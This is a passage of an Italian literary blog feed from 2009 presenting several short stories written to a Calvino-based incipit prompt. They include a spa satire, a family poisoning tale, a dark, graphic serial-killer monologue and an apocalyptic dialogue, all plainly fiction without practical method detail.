<p align="justify"><em>Ma devo tirare su la testa e guardarmi indietro, quindi formulare un bilancio. Avremmo mai potuto avere tanto amore se non avessimo avuto le radici nel dolore?&#8230; a voi la risposta e vi prego di cercarla con passione, la stessa che io ho cercato di insegnarvi.</em></p>
<p align="justify">
<p align="justify"><em>(è assolutamente chiaro che il rumore in sottofondo è di pianto sommesso, a stento soffocato da una mano sulla bocca)</em></p>
<p align="justify">
<p align="justify">&#8230; <em>sto per andarmene, ma non lo voglio fare con questo disagio dentro me, perché, ormai, ho messo in ordine ogni cosa. Quindi non fatevi ingannare dalla mia voce rotta dall&#8217;emozione. Ecco &#8230; io adesso non vorrei che questo disagio, risvegliato in me dal ricordo di quei tempi, possa influire sull&#8217;opinione che avevate della nonna.  Questo m&#8217;importa sopra ogni cosa! Dovevo raccontarvi, farvi capire la forza che mia madre ha sempre espresso nell&#8217;affrontare la vita, le sofferenze incredibili sopportate e come ha saputo ogni volta sgombrare il campo dagli orrori che vi nascevano come gramigna, per potervi coltivare amore e comprensione, quelle stesse che voi, i suoi nipoti, avete conosciuto. Giustificare i suoi atti è stato difficile per me, anche perché ho potuto solamente intuirli non avendo avuto da lei mai nessuna conferma, solamente uno sguardo silenzioso che non lasciava dubbi. E, badate,  giustificare non vuol dire perdonare, vuol dire capire il perché.</em></p>
<p align="justify">
<p align="justify"><em>(si sente un sospiro)</em></p>
<p align="justify">
<p align="justify"><em>Ora, oltre al resto, per il quale sono sicuro troverete un accordo, lascio a voi anche quest&#8217;eredità: la conoscenza dei fatti. Vi sarà utile conoscere le vostre origini per poter avere maggior consapevolezza di voi stessi, per potervi motivare ulteriormente e trovare dentro voi le forze necessarie ad andare avanti.</em></p>
<p align="justify">
<p align="justify"><em>(una pausa abbastanza lunga &#8230; si sente qualcosa che assomiglia ad un singhiozzo &#8230; un respiro profondo &#8230; poi riprendere a parlare)</em></p>
<p align="justify">
<p align="justify"><em>Mi verrebbe da scherzare riferendomi ai nostri tempi, per i quali mi sono sempre sentito in prestito, dicendovi che ho sentito la necessità di fare &#8220;outing&#8221;: è un termine di moda, vero?</em></p>
<p align="justify">
<p align="justify"><em>(si avverte una lieve ilarità nel tono di voce)</em></p>
<p align="justify">
<p align="justify"><em>Comunque lo faccio così &#8230; per spezzare l&#8217;angoscia che provo nel dovervi lasciare andare e cercando di immaginare un sorriso sui vostri volti, un sorriso che è già nel mio cuore.</em></p>
<p align="justify"><em>Addio Matteo, addio Alvise, vi ho amato con tutto me stesso&#8221;</em></p>
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		<title>Hannibal chi &#8230;? (Diario di un serial killer) -BorgoRacconto</title>
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		<pubDate>Wed, 29 Apr 2009 05:00:41 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  tuo silenzio forzato mi si ritorcesse contro   …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2547"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente  sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di  Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: #ff6600;">IHannibal chi &#8230;? (Diario di un serial killer)</span></h1>
<p align="justify">&#8220;<em>Ecco io adesso non vorrei che questo disagio risvegliato in me dal tuo silenzio forzato mi si ritorcesse contro, come altre volte è successo. Ma starò buono in un angolo sino al momento giusto, prometto. Poi, sarà il nostro tempo</em>&#8221; - questo le ho appena sussurrato vicino all&#8217;orecchio ma lei non può sentirmi, non ancora. Comincio a preoccuparmi, forse ho esagerato con la droga?</p>
<p align="justify">Ho scale lunghe e oscure dietro ai miei passi, e tempi precisi da rispettare; le mani sono fredde dentro ai guanti in lattice, e con le orecchie percepisco il silenzio amico che tra poco sarà rotto da ogni suo singolo alito che sentirò trasformarsi in rantolo.</p>
<p align="justify">A volte mi chiedo perchè io debba essere così, e senza cruccio alcuno mi rispondo che qualche geometria del mio dna dev&#8217;essersi alterata;  si potrebbero definire errori di sistema, imprevisti di percorso.</p>
<p align="justify">Ma non mi spavento, ormai non più. Adesso è il cielo che mi sovrasta a farmi paura, così grande e impalpabile, così vuoto da farmi sentire solo, come fossi un palo a fare ombra nel deserto. O forse sono io, che di coltivare assenza sono maestro e che, senza alcuna sofferenza o rimorso. agile mi muovo in questo grande rimpiattino con la vita, soprattutto quella altrui.</p>
<p align="justify">E&#8217; naturale evoluzione della specie, senz&#8217;altro è cosi.</p>
<p align="justify">Mi scuoto dai pensieri mentre mi avvicino alla donna. Mi accorgo  che non so neppure come si chiama, ma la cosa non mi turba più di tanto; in fondo non mi serve a nulla battezzarla con un nome, non avrò alcun bisogno di chiamarla, io so bene chi è.</p>
<p align="justify">La droga che lo ho somministrato sta fortunatamente finendo il suo effetto e vedo la sua testa iniziare a ciondolare con sempre maggiore frequenza. Lei è nuda, seduta su una sedia, mani e caviglie legate dietro la schiena. Aspetterò che si risvegli del tutto, poi potrò finalmente iniziare la mia opera. Ma anche il sottile disagio di questa prolungata attesa è già promessa di un godimento.</p>
<p align="justify">&#8220;<em>Oh,  povera cara, quando l&#8217;altra notte ti sei alzata traballando dal tavolo di quel pub ed ho visto che nessuno ti seguiva, ho dovuto soffocare un gridolino di piacere. Era da un po&#8217; che ti osservavo dal fondo del locale, contando le troppe birre che ti eri tracannata senza problemi. Nessuna compagnia, nessun avventore che ti degnasse di uno sguardo, forse per il tuo aspetto demodé, così esagerato; quelle grosse tette coperte da una fasciatura multicolore, jeans attillati che però mostravano impietosi i cuscinetti di grasso ai fianchi, ed i capelli, gonfiati come da un improvviso colpo di vento, a far da contorno al volto rotondo con troppo trucco spalmato intorno alle pieghe degli occhi.</em></p>
<p align="justify"><em>Ma per me sei bellissima così, credimi tesoro. E&#8217; stato facile, appena sei uscita, seguirti lungo il marciapiede deserto e vederti imboccare proprio la strada dove avevo la macchina. Che colpo di fortuna, non trovi? Una fulminea botta in testa poi, dopo averti steso sul sedile posteriore, la guida calma verso la campagna, verso casa. </em></p>
<p align="justify"><em>Sai una cosa? sin da quand&#8217;ero piccolo, quando mia madre mi portava a letto con l&#8217;ultimo sorriso del giorno sul volto io restavo solo e impaurito nell&#8217;oscurità ad ascoltare il ticchettio ritmato della pendola, o  i cigolii di antico legno, che non si imparano mai abbastanza, o il soffio del vento tra le finestre. Tale era la mia unica compagnia; e la paura è continuata sino all&#8217;adolescenza. Ma è stato allora che ho imparato ad esorcizzarlo il buio, masturbandomi freneticamente nell&#8217;oscurità  fantasticando di donne impossibili, facendomelo amico nella mia stanza, tra le mura ed i rumori così abituali che avevo intorno. </em></p>
<p align="justify"><em>Era quello il sogno, sovrapposto ed assimilato a questa  realtà: la mia casa, dove sono nato.</em></p>
<p align="justify"><em>Lei mi conosce, è parte di me, e non apprezza le mie divagazioni sessuali, le mie manie, lo so; però è lei che mi protegge dal vuoto, ed io mi ritrovo in lei, in questo grande ventre che mi nutre e mi sostiene.</em></p>
<p align="justify"><em>Mentre ti stavi svegliando, ti ho fatto la prima iniezione; tu hai cominciato a ridere, prima piano poi sguaiatamente. Chissà che cosa ti passava per la testa, forse trovarsi in una casa sconosciuta, con troppo alcol ancora in corpo, e poi la droga, chissà  ? E&#8217; stato allora che, forse per un colpo di vento, ha sbattuto una persiana facendomi trasalire; ho subito pensato fosse un segnale, ed ho cominciato a chiedermi dove avevo sbagliato.</em></p>
<p align="justify"><em>Ma la casa con saggezza sembra abbia approfittato dei tuoi momenti d&#8217;euforia per prepararsi a quel dopo che è adesso. Si era fatto giorno, poi nuovamente tramonto, tu dormivi, e la luce filtrando dalle persiane accostate ti illuminava, misero mucchio di carne infagottata, creando nitidi chiaroscuri sulle tue forme. E quel vederti alla luce riflessa della sera mi ha eccitato oltre misura, come avessi davanti a  me una figura di Botero in carne ed ossa.</em></p>
<p align="justify"><em>Ora che sei spogliata e lavata (ti eri urinata addosso nel sonno) sei quasi pronta; è stata una fatica, fare tutto da solo, ma sono certo ne valesse la pena. </em></p>
<p align="justify"><em>Peccato per il mal di testa col quale ti risveglierai, non potrai apprezzare a pieno le mie &#8220;cure&#8221;, ma d&#8217;altra parte non avrai abbastanza tempo per potertene dolere</em><em><strong>&#8220;</strong></em></p>
<p align="justify">
<p align="justify">Le alzo la testa ed i suoi occhi iniziano ad abituarsi alla luce fioca della cantina. Con una mano le sfioro il contorno del seno, risalendo lentamente sino ad arrivare al collo. Piccole vene azzurre, una vecchia cicatrice, il respiro affannoso, segni di vita; quel che resta, almeno. Un gradevole senso di pieno si sta lentamente materializzando nei miei pantaloni; con gesti frenetici me li strappo quasi fossero roventi.</p>
<p align="justify">E mentre il primo barlume di coscienza e di terrore si fa strada nel suo sguardo, lascio che osservi stupita la mia erezione mentre mi avvicino all&#8217;interruttore della luce. Poi, bisturi alle mani e sorriso sul volto, spengo la luce.</p>
<p align="justify">Da adesso faremo anche noi parte di questo grande buio.</p>
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		<title>Il giorno del giudizio - BorgoRacconto</title>
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		<pubDate>Tue, 28 Apr 2009 04:37:08 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  suo apparirmi davanti repentino    …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2543"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente  sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di  Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: #ff6600;">Il giorno del giudizio</span></h1>
<p>Ecco io adesso non vorrei che questo disagio, risvegliato in me dal suo apparirmi davanti repentino e inaspettato, possa venir notato dal signor K che mi è sempre stato così caro, un secondo padre per me, dopo che il primo s’è eclissato nelle pieghe della colpa e del rimorso. Non vorrei che questa ruga, mia compagna fedele da qualche anno ormai, si ricurvi ancor di più dentro se stessa, strizzando l’occhio, quasi, ai sospetti ed alle ansie del signor K. Lui mi vuole bene, io lo so. Mi adora. Una mattina di qualche tempo fa me lo disse, mi prese da parte sotto il portico della casa mentre un raggio di sole lo importunava furbesco rimbalzando su un occhio, ma il signor K non lo dava a vedere e rimaneva ritto come un soldato impettito di fronte al proprio dovere, fosse anche la morte; ma era la vita, la vita per lui e lo si vedeva nel modo in cui gesticolava febbrilmente, nella piega strana presa dalle labbra, quel sorriso imbarazzato di chi sa cosa vuol dire ma non ha il coraggio e lo si vedeva nell’occhio rimasto all’ombra, luminoso più dell’altro.<br />
- Sei un fiore sbocciato in inverno mia cara - mi disse, - un oggetto raro e prezioso. Tu sai che io sono solo un vecchio che ha perso tutto e che nulla si poteva aspettare più dalla vita, finito il tempo dei sospiri e delle vaghe promesse era già iniziato per me un lungo e lento declinare, un tramonto che nessun colore addolciva ma solo uno spegnersi silenzioso, un raggrinzirsi di ogni stimolo e di ogni felicità. Ero una terra arida e fredda che aspettava solo l’ultimo alito di vento per venir spazzata via.<br />
Eppure non sapevo che un piccolo seme resisteva ancora, che una scintilla di vita cresceva inesorabile, ancora lontana, ancora inconsapevole di me come io di lei, ma cresceva e ogni secondo che passava si avvicinava di un passo. Quale congiura del cielo ci ha fatti incontrare mia cara, quale destino inaspettato, che Dio sia ringraziato, quando ho aperto la porta di questa casa, un giorno, e tu mi sei apparsa davanti orfana della vita che ti era stata tolta, tu come morta indirizzata al cospetto di un cadavere più freddo del tuo. Eri senza una casa e io te l’ho data ma tu mi hai donato molto di più, mi hai donato una figlia, un cuore da ascoltare la notte, da vegliare ed amare teneramente, quel lascito che mi era stato a lungo negato, da lasciare al mondo perché ne gioisca come ne gioisco io.<br />
Ti guardavo rinascere, guardavo ogni tuo sorriso, i primi più timidi, come un alba, fino a quelli più grandi e splendenti. Io ti ho vista tornare al mezzogiorno e brillare nella tua luce sopra le teste della gente ed ora il tuo tepore ridà vita anche a queste stanche membra, guardami, che cigolano, vecchie e stanche, ma cigolano felici. Mi sto sbriciolando nella mia vecchiaia ma so che se le mie gambe malate o le mie braccia deboli e magre potessero parlare, ora riderebbero, riderebbero con gusto e con una tenacia che non hanno mai avuto nemmeno quando erano forti e sane. Forse non sai quale gioia sia per me il vederti allegra e contenta quando sotto questo tetto regali un fiore, una tua perla, al mondo, scherzando e chiacchierando spensierata, così che anche la casa, con saggezza, sembra approfittare dei tuoi momenti d’euforia per prepararsi ad una festa, riempirsi di ghirlande colorate e nastri e coriandoli e… -<br />
Solo allora lo zittii, con le lacrime agli occhi, poggiando due dita sulle sue labbra, sentendole così sottili da farmi mancare il respiro per paura di spezzarle e vederne uscire l’anima, candida e pura in un ultimo bacio. Presi il signor K per mano e lo condussi fuori sul prato, seguendo con la lentezza necessaria i suoi passi in modo da assaporare la vita fino in fondo, per gustarne la bontà e la sincerità come mai prima le avevo potute conoscere.<br />
Ed è con questo passo che abbiamo camminato insieme fino ad oggi, quando lei è riapparsa ed io mi sento come se sognassi, se nulla più fosse reale, se non fossi mai rinata né mai giunta in questa casa che mi ha accolta e ridato la vita.<br />
Siamo in tre, qui ed ora, e prendiamo un tè discorrendo falsamente ed io la guardo, poi volgo il viso e incontro il signor K e ne l’una, né l’altro, mi sembrano più reali dei demoni e degli angeli che mi venivano raccontati da bambina: pagine di un libro dall’odore stantio con la carta fine e antica, preso da un cassetto logoro col solo scopo di educarmi alle gioie ed ai dolori che avrei patito e poi riposto nuovamente. Fino alla prossima lezione.<br />
Ecco questa è la mia ultima lezione, non ne accetterò altre perché ho imparato abbastanza, nel bene e nel male. Appoggio la tazza e guardo mia sorella negli occhi mentre lei ancora sorseggia facendo finta di nulla, senza che nessun segreto che possa turbarle il sonno torni a galla arrossandole le gote o appannandole lo sguardo, lei no, lei non ne è capace, come nostro padre non ha mai conosciuto il rimorso.<br />
Avevo scordato il mio amore per lei, lo avevo sepolto per non seppellire me stessa, ma certi morti risorgono prima che il signore possa chiamarli a se per il giorno del giudizio, essi si giudicano da soli e nella propria colpa trovano la forza per risorgere, se ne nutrono avidi come quei vampiri, quei mostri di cui si racconta per gioco la sera, per spaventarsi un poco al solo scopo di sentirsi più vivi e meno infreddoliti. Succhiano il calore da chi gli sta attorno, senza cattiveria né malizia, senza sentir nulla in effetti, né piacere, né dolore.<br />
E come amo il signor K. Anche lui amo, senza mai dimenticarlo da quando mi accolse con sé. Amo per quel suo dolore pacato che mi ha porto in dono, siccome non aveva altro, ed io che sono vampira come mia sorella ho bevuto fino in fondo ed è stato solo un caso, un fortunato incidente, che nel farlo agli abbia alleggerito il cuore e rigenerato lo spazio per qualche grammo di felicità.<br />
Solo me stessa Odio, per non essere mai stata altra che me stessa.<br />
Beviamo il tè, tutti assieme, ma la mia tazza è posata sul tavolino e non un sorso ne ho versato. Sorrido e rimango a guardare mentre il veleno produce i suoi effetti.<br />
Ho ucciso un padre per troppo amore, e ora ne ucciderò un secondo, e poi una sorella, e li seppellirò in giardino per farmi compagnia e su una tomba pianterò la rosa rossa del peccato mentre sull’altra il giglio bianco della purezza e rimarrò a guardarle fino a quando non calerà il tramonto e poi ancora, fino a quando non cesserà il mondo e si disferà il creato, rimarrò a guardare quando finalmente arriverà il giorno dell’apocalisse e loro usciranno dalla tomba, per vedere se il giudizio di Dio è davvero come mi hanno detto, per una volta, una sola, la più importante: giusto.</p>
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		<title>Il ritratto - BorgoRacconto</title>
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		<pubDate>Mon, 27 Apr 2009 05:21:24 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  modo brusco con cui sono stata   …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: rgb(0, 128, 0);">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2538"></span></p>
<p><span id="more-2523"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: rgb(0, 128, 0);"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: rgb(128, 0, 128);"><em>(sia la frase incipit che quella da inserire obbligatoriamente&nbsp; sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di&nbsp; Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276"/></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: rgb(255, 102, 0);">Il ritratto</span></h1>
<p>“Ecco io adesso non vorrei che questo disagio risvegliato in me dal modo brusco con cui sono stata accolta, mi porti come al solito a dubitare di un’esperienza ancor prima di iniziarla” diceva tra sé Elena, cercando di rassicurarsi.<br />
Era arrivata a Villa Sorriso su invito di Nathalie, una compagna d’università, che una settimana prima le aveva telefonato inaspettatamente, dopo anni che non si sentivano, per offrirle un soggiorno benessere presso una casa di campagna, appena fuori Cortona.<br />
 “Si tratta di una promozione” le aveva garantito l’amica di un tempo “ Abbiamo bisogno di farci conoscere, ma siamo alla ricerca di una clientela selezionata, che guardi all’armonia, alla dimensione  spirituale, non solo alla forma fisica”.<br />
Elena aveva trattenuto a stento una risata, ricordando che Nathalie aveva un talento spiccato per gli affari ma nessuna propensione per l’anima, eppure aveva accettato la proposta. Da quando lei e Roberto si erano separati, un’apatia insidiosa le appesantiva le spalle durante il giorno e un’insonnia pervicace la tiranneggiava di notte. Allontanandosi da casa, sperava di uscire da quella situazione di stallo  o perlomeno di distrarsi.<br />
L’accoglienza che però Nathalie le aveva riservato era stata tutt’altro che cordiale: Elena si era sentita squadrata, forse valutata per il modo di vestire, i chili in più,  l’aspetto dimesso, i suoi quarantaquattro anni che sembravano cinquanta. La compagna di un tempo l’aveva liquidata con poche battute: “Purtroppo ho fretta, devo correre a Milano, mi aspettano certe rogne burocratiche che nemmeno immagini, ti affido ai miei collaboratori, avremo modo di parlare un’altra volta”. </p>
<p>Così Elena aveva iniziato con poco entusiasmo la sua vacanza in quella villa che sorrideva per non meno di duecento euro al giorno. Il mattino e  il  pomeriggio, scanditi da un programma fitto di impegni -yoga, bagni, massaggi, ginnastica, meditazione- scorrevano abbastanza velocemente, ma le notti erano interminabili. Le varie tisane dai nomi suggestivi “Brezza d’oriente” “Zefiro incantato”  “Soffio  d’alisei”  non riuscivano ad aver ragione delle sua insonnia, nessun vento si portava via le ore che s’impantanavano in una fissità stagnante, perciò passava la maggior parte del tempo a leggere. Ogni tanto sollevava gli occhi in direzione di un quadro sulla parete di fronte: dal fondo scuro si stagliavano due donne bianche, algide, ritratte in posa teatrale. L’una stringeva il capezzolo dell’altra che a sua volta, con un ugual gesto delle dita, teneva in mano un anello. Elena avrebbe voluto coprire quel dipinto: non avrebbe saputo spiegarne il motivo, ma si sentiva violata nella sua intimità, come se la casa, attraverso quelle due dame, la stesse osservando. Forse a metterla a disagio era l’espressione sottile di trionfo della donna a sinistra che afferrava quel capezzolo come a decretarne un possesso o una futura sconfitta. Qualcosa nell’arco delle sopracciglia e nella piega delle labbra le ricordava Nathalie.</p>
<p>A Villa Sorriso i momenti più gradevoli  erano il pranzo e la cena, non per il menù, rigorosamente salutista, insipido e ipocalorico, ma per la compagnia di Annalisa. Si erano ritrovate allo stesso tavolo e tra loro era scattata subito la complicità. Si divertivano a guardare e a commentare gli altri ospiti, ad esempio l’Achille (così l’avevano soprannominato) che aveva come suo tallone le donne: da buon segugio le fiutava, le abbordava, sempre uguale a se stesso in quell’abito blu perennemente spiegazzato che gli dava l’aspetto di un ferroviere. Non si sarebbe detto potesse avere successo, eppure la signora Terenzi gli sorrideva passandosi le mani nei capelli e mettendo bene in evidenza il seno prosperoso.<br />
Alla loro destra c’era il dottor Corradi, l’insegnante di yoga, un ometto esile, dal viso serio e austero: avevano notato che tra una portata e l’altra si allontanava dal tavolo, poi un giorno l’avevano scoperto intento a gustarsi a occhi chiusi un sigaro in un angolo seminascosto del parco.<br />
Le sorelle Librandi, dotate della stessa voce squillante, stavano invece al centro della sala. Da quella posizione privilegiata controllavano e facevano il filo ai massaggiatori, un po’ se li spartivano, un po’ se li contendevano, rivali e alleate nel medesimo tempo.<br />
Un giorno, mentre chiacchieravano, Elena improvvisò su un tovagliolo una caricatura dell’Achille.<br />
“Ecco un’artista venuta a dar lustro a tutti noi ” esclamò Annalisa, tra il tenero e l’ironico “Non mi avevi detto di saper disegnare”.<br />
“È da tanto che non faccio più niente. Era una passione che avevo a vent’anni, poi la mia esistenza ha preso un altro corso, me n’ero quasi dimenticata, questo schizzo sorprende anche me”. </p>
<p>Nelle ore successivo Elena si recò a Cortona per acquistare matite, carboncini, sanguigne e fogli da disegno.<br />
Da quella notte, invece di farsi compagnia con la lettura, si mise a dar vita sulla carta ai personaggi incontrati durante il giorno. Partecipava assiduamente a tutte le attività, fingeva un fervore che non aveva, solo per poter osservare ed imprimersi nella mente volti, gesti, andature. Non ebbe più occasione di incontrare Nathalie, ma  si dedicò con una cura particolare ad eseguire il suo ritratto, cercando ed esasperando le similitudini col quadro: voleva rendere quell’espressione  beffarda, sfuggente, cinica che le aveva visto quando l’aveva accolta alla villa<br />
La mattina, prima di scendere a colazione, si affacciava dalla finestra e  contemplava le linee dolci e arrotondate delle colline, contrapposte a quelle aggrovigliate degli ulivi, ma non prendeva né carta né matita, sapeva che i paesaggi non erano il suo forte.<br />
In questo modo il tempo previsto per quella vacanza trascorse rapidamente. Il penultimo giorno, mentre stava pranzando, le fu consegnata una busta, l’aprì, era una lettera di Nathalie.<br />
“Carissima, durante questo periodo, seppur da lontano, ho vigilato su di te con affetto. I miei collaboratori mi hanno riferito che sei stata un’ospite solerte, diligente e hai seguito tutte le iniziative con un’attenzione insolita. Per questo ti vorrei proporre di entrare nel mio staff. Qui a Villa Sorriso ti  attendono nuove prospettive”.<br />
Mostrò il foglio ad Annalisa.<br />
“Vedi, la casa con saggezza sembra abbia approfittato dei tuoi momenti di euforia per prepararsi a inglobarti, ad assimilarti, a usarti per quanto possibile. Se sapessero che il tuo entusiasmo aveva altri motivi, che mentre loro pensavano di averti sotto controllo, tu a tua volta li osservavi prendendoli per i fondelli!” disse l’amica ridendo.</p>
<p>Elena quel pomeriggio ritornò a Cortona e acquistò una bottiglia di rosso, non s’intendeva di vini, ma voleva festeggiare. La sera brindò con Annalisa, davanti al quadro delle due dame, in fondo le avevano portato fortuna.<br />
Il mattino seguente, prima di uscire dalla camera, attaccò allo specchio di fianco al quadro il ritratto di Nathalie; non avrebbe accettato la sua proposta di lavoro, ma sicuramente alla compagna di un tempo doveva questo regalo.</p>
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		<title>Ancora tu - BorgoRacconto</title>
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		<pubDate>Fri, 24 Apr 2009 05:04:59 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  dal tuo arrivo improvviso  …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2523"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente  sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di  Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: #ff6600;">Ancora tu</span></h1>
<p>“Ecco io adesso non vorrei che questo disagio risvegliato in me dal tuo arrivo improvviso…”<br />
“Mi dispiace d’averti messo a disagio.”<br />
“Non vorrei lo scambiassi per pentimento, sei sempre stata, sempre…”<br />
“Cosa vuoi dire, mamma?”<br />
“Niente, è solo che sono vecchia, non trovo più le parole.”<br />
“Non ti aspettavi di rivedermi?”<br />
“Sei morta da così tanto tempo…”<br />
“Lo so, tu hai dimenticato, non come papà, lui non voleva lasciarmi andare.”<br />
“Ogni domenica ti portava una rosa bianca, puliva la tua foto con il suo fazzoletto, strappava le erbacce, ritornava sempre con i pantaloni sporchi di terreno. È sempre stato un patetico sentimentale.”<br />
Le due donne, sono sedute una di fronte all’altra, in mezzo a loro un  tavolo rettangolare di colore scuro. Sopra il tavolo la polvere che si è accumulata negli anni. La pioggia scivola sui vetri, una finestra aperta da qualche parte sbatte pesantemente.<br />
“Nessuno ha potuto nulla contro di te, mamma, oramai hai vinto, nulla può più fermarti, te lo leggo in faccia.”<br />
“E tu sei qui per vedere il mio trionfo, immagino, mia cara e affezionata figlia.”<br />
“Volevo guardarti negli occhi ora che hai ottenuto quello che volevi.”<br />
Fuori in strada gli uomini camminano strisciando i muri cercando di non guardarsi, nemmeno di sfiorarsi. Il cielo perennemente sepolto sotto una coltre di nubi, un afa soffocante si alterna a un freddo improvviso e lacerante senza alcun preavviso, i cadaveri buttati in fosse comuni, sparsi di benzina, il fuoco di quelle pire illumina la notte perenne e ammorba l’aria.<br />
Un uomo entra nella stanza.<br />
“Chi è questa donna?” chiede alla vecchia dai capelli bianchi.<br />
“E’ tua madre, é la donna che è morta mettendoti al mondo, che ti avrebbe affogato nel suo stesso sangue se io non ti avessi salvato.”<br />
“Tu, che volevi uccidermi, sei di nuovo qui.” l’uomo si scopre un’ansia nuova nella voce.<br />
“Sì volevo ucciderti, sapevo chi eri e cosa avresti portato con te.”<br />
“Dovevi anche sapere che niente avrebbe potuto fermarmi, nemmeno il coltello con cui ti sei aperta la pancia, mamma.”<br />
Alla parola “mamma” come se un immensa energia si fosse liberata per un attimo infinito la stanza si illumina rivelando un quadro in cui una mano carezza un seno nudo, vicino a questo una donna dal sorriso enigmatico, più lontano una statua di uomo nudo armato di fionda e vicino quella  di una donna  che tiene tra le braccia il figlio morto, un libro recita con un filo di voce la gelosia di un  uomo fino all’omicidio, intorno a loro infinite altre opere, mentre una musica di violini si sente appena in sottofondo.<br />
“Hai ragione, non era con il ferro che avrei potuto ucciderti, come mio padre non avrebbe potuto uccidere te con le mani intorno al tuo collo, mamma.”<br />
la vecchia si tocca dove i segni indelebili delle mani di suo marito ancora le fanno provare la sensazione della morte.<br />
“Allora perché sei qui? non puoi niente contro di noi vattene, il mondo sta morendo, senti l’odore acre della carne bruciata?”<br />
“Io posso distruggerti così come ti ho creato.”<br />
“Pazza” urla la madre “Vattene nel tuo regno dei morti, presto tutti ti raggiungeranno, appartenete al passato, noi siamo il futuro.”<br />
Nel buio della stanza la donna giovane si alza dalla sedia seguita dagli occhi attenti degli altri due attori della recita. Si avvicina a una libreria di cui non si vede la fine né l’inizio, allunga la mano e prende un libro, la copertina senza nessuna figura o nome, dentro un sola pagina.<br />
